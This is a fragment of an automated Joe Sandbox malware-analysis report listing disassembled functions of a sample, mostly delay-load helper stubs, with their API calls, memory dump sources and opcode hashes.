                                                                                                                                                        • Opcode Fuzzy Hash: aa72105834e717140e3997d15efc079ead08a6fcd9d1a0cf8c97e7d31e9cb05a
                                                                                                                                                        • Instruction Fuzzy Hash: 24A001966AD152FC3608A2617E07CBB061ECAC9BA13718A5FF443C6583A88199991435
                                                                                                                                                        Function 00DB4A02 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 3fe14839e355feb3b70cdede06e5d9fbd832ea5d653ac029a2c1b338ce66a03b
                                                                                                                                                        • Instruction ID: d945ad042d9ef347d50becea18cf103db2c47b04e2350bb923f36bfb77cc2ec0
                                                                                                                                                        • Opcode Fuzzy Hash: 3fe14839e355feb3b70cdede06e5d9fbd832ea5d653ac029a2c1b338ce66a03b
                                                                                                                                                        • Instruction Fuzzy Hash: 24A001966AD152FC3608A2617E07CBB061ECAC9BA13718A5FF443C6583A88199991435
                                                                                                                                                        Function 00DB4B85 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2411317557d85a70d7a3149f6b6399aa21a47f97a6338a8597e4f9e580c5d27e
                                                                                                                                                        • Instruction ID: 0718390f61a8a66dc86cd950800de8801a3a8fc69be3828a713d14d093d2ace2
                                                                                                                                                        • Opcode Fuzzy Hash: 2411317557d85a70d7a3149f6b6399aa21a47f97a6338a8597e4f9e580c5d27e
                                                                                                                                                        • Instruction Fuzzy Hash: 7AA011822AC002FC3008A2022E03CBB020EC8CAB20330AA0BF003C2083A88088880038
                                                                                                                                                        Function 00DB4B53 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2b20d3ee47d6da3af623bd0d1f03ee877792114596b3fd97b33036fb1905e0a6
                                                                                                                                                        • Instruction ID: 0718390f61a8a66dc86cd950800de8801a3a8fc69be3828a713d14d093d2ace2
                                                                                                                                                        • Opcode Fuzzy Hash: 2b20d3ee47d6da3af623bd0d1f03ee877792114596b3fd97b33036fb1905e0a6
                                                                                                                                                        • Instruction Fuzzy Hash: 7AA011822AC002FC3008A2022E03CBB020EC8CAB20330AA0BF003C2083A88088880038
                                                                                                                                                        Function 00DB4B49 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: ae1997407b31d7bcf6fc0f138008ad0f953980ae63a62fda3c4a62134a8f5547
                                                                                                                                                        • Instruction ID: 0718390f61a8a66dc86cd950800de8801a3a8fc69be3828a713d14d093d2ace2
                                                                                                                                                        • Opcode Fuzzy Hash: ae1997407b31d7bcf6fc0f138008ad0f953980ae63a62fda3c4a62134a8f5547
                                                                                                                                                        • Instruction Fuzzy Hash: 7AA011822AC002FC3008A2022E03CBB020EC8CAB20330AA0BF003C2083A88088880038
                                                                                                                                                        Function 00DB4B7B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 55d7a5cd2f03169adcab6172318242dfebc9ef8032c52a471fcc60cedb0a3df9
                                                                                                                                                        • Instruction ID: 0718390f61a8a66dc86cd950800de8801a3a8fc69be3828a713d14d093d2ace2
                                                                                                                                                        • Opcode Fuzzy Hash: 55d7a5cd2f03169adcab6172318242dfebc9ef8032c52a471fcc60cedb0a3df9
                                                                                                                                                        • Instruction Fuzzy Hash: 7AA011822AC002FC3008A2022E03CBB020EC8CAB20330AA0BF003C2083A88088880038
                                                                                                                                                        Function 00DB4B71 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 59619822b3b575c3fbc5f21ec886d592516534e71cef6f04cb1644298c35d383
                                                                                                                                                        • Instruction ID: 0718390f61a8a66dc86cd950800de8801a3a8fc69be3828a713d14d093d2ace2
                                                                                                                                                        • Opcode Fuzzy Hash: 59619822b3b575c3fbc5f21ec886d592516534e71cef6f04cb1644298c35d383
                                                                                                                                                        • Instruction Fuzzy Hash: 7AA011822AC002FC3008A2022E03CBB020EC8CAB20330AA0BF003C2083A88088880038
                                                                                                                                                        Function 00DB4B2E Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 6420a3f4bc64b1755f4658792c234f4acda476006c3d9147d090bacee054f753
                                                                                                                                                        • Instruction ID: 2d197a382fb116e421cbb22565a9f8be7fd23c9537d66d853994bc6b8a0a5cea
                                                                                                                                                        • Opcode Fuzzy Hash: 6420a3f4bc64b1755f4658792c234f4acda476006c3d9147d090bacee054f753
                                                                                                                                                        • Instruction Fuzzy Hash: DBA011822AC000BC3008A202AE03CBB020EC8E2B20330A20BF002C2083A88088880038
                                                                                                                                                        Function 00DB4CDA Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2fc047fae9b0dbbe7700cdd9e95b8817a795083bbc38ee4ab3f4e5af2c91e560
                                                                                                                                                        • Instruction ID: 28467e1b0ee4e99661ece332ac003bf69624dc48b68b062fe36c9089c5fe5e3e
                                                                                                                                                        • Opcode Fuzzy Hash: 2fc047fae9b0dbbe7700cdd9e95b8817a795083bbc38ee4ab3f4e5af2c91e560
                                                                                                                                                        • Instruction Fuzzy Hash: 42A001966AE156FC3558A2516E06CBA0A1ECAC9F613328A5BF443C6583A88058991039
                                                                                                                                                        Function 00DB4CD0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: e92f01ae4571f4cc5e28fb9ae871296a446e329cee40110384e7449cb12b7e16
                                                                                                                                                        • Instruction ID: 28467e1b0ee4e99661ece332ac003bf69624dc48b68b062fe36c9089c5fe5e3e
                                                                                                                                                        • Opcode Fuzzy Hash: e92f01ae4571f4cc5e28fb9ae871296a446e329cee40110384e7449cb12b7e16
                                                                                                                                                        • Instruction Fuzzy Hash: 42A001966AE156FC3558A2516E06CBA0A1ECAC9F613328A5BF443C6583A88058991039
                                                                                                                                                        Function 00DB4CC6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 1f8e0cbd8dfd54b39e0fef842c690ef763dae42df5ba3a9bbb446de7250d61a9
                                                                                                                                                        • Instruction ID: 28467e1b0ee4e99661ece332ac003bf69624dc48b68b062fe36c9089c5fe5e3e
                                                                                                                                                        • Opcode Fuzzy Hash: 1f8e0cbd8dfd54b39e0fef842c690ef763dae42df5ba3a9bbb446de7250d61a9
                                                                                                                                                        • Instruction Fuzzy Hash: 42A001966AE156FC3558A2516E06CBA0A1ECAC9F613328A5BF443C6583A88058991039
                                                                                                                                                        Function 00DB4CFF Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4CF1
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2594610e478d1be72c60e4e4fcc87cee8296e160eb93cece108aff2eabf9a6fc
                                                                                                                                                        • Instruction ID: 22756b13b3f0e8b6d57ae14e0cfa6e781bf3c2396f5152d5278a59ff3e0092a9
                                                                                                                                                        • Opcode Fuzzy Hash: 2594610e478d1be72c60e4e4fcc87cee8296e160eb93cece108aff2eabf9a6fc
                                                                                                                                                        • Instruction Fuzzy Hash: B1A0019A2AE552FC3108A2516E06CBB1A2ED9D9F613718A5BF443C6183A98168991035
                                                                                                                                                        Function 00DB4CE4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4CF1
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2f9f27833823f415263c166d10901d3d97efdf54e2328fcf7119195dc29b5cca
                                                                                                                                                        • Instruction ID: 8cd3bd9677c695714be623220bb4071bacc10b0b9b952d65499643b03b256985
                                                                                                                                                        • Opcode Fuzzy Hash: 2f9f27833823f415263c166d10901d3d97efdf54e2328fcf7119195dc29b5cca
                                                                                                                                                        • Instruction Fuzzy Hash: 55A0118A2AE002FC3008A2002F02CBB0A2EC8C0F20330820BF002C2083A88028880030
                                                                                                                                                        Function 00DB4CA8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 7e46788782ba24f47dd414f7ba6548d74bad012e107ce4ef83b9e687c43bd5b4
                                                                                                                                                        • Instruction ID: 28467e1b0ee4e99661ece332ac003bf69624dc48b68b062fe36c9089c5fe5e3e
                                                                                                                                                        • Opcode Fuzzy Hash: 7e46788782ba24f47dd414f7ba6548d74bad012e107ce4ef83b9e687c43bd5b4
                                                                                                                                                        • Instruction Fuzzy Hash: 42A001966AE156FC3558A2516E06CBA0A1ECAC9F613328A5BF443C6583A88058991039
                                                                                                                                                        Function 00D91DE7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetDlgItemTextW.USER32(?,?,?), ref: 00D91DFC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
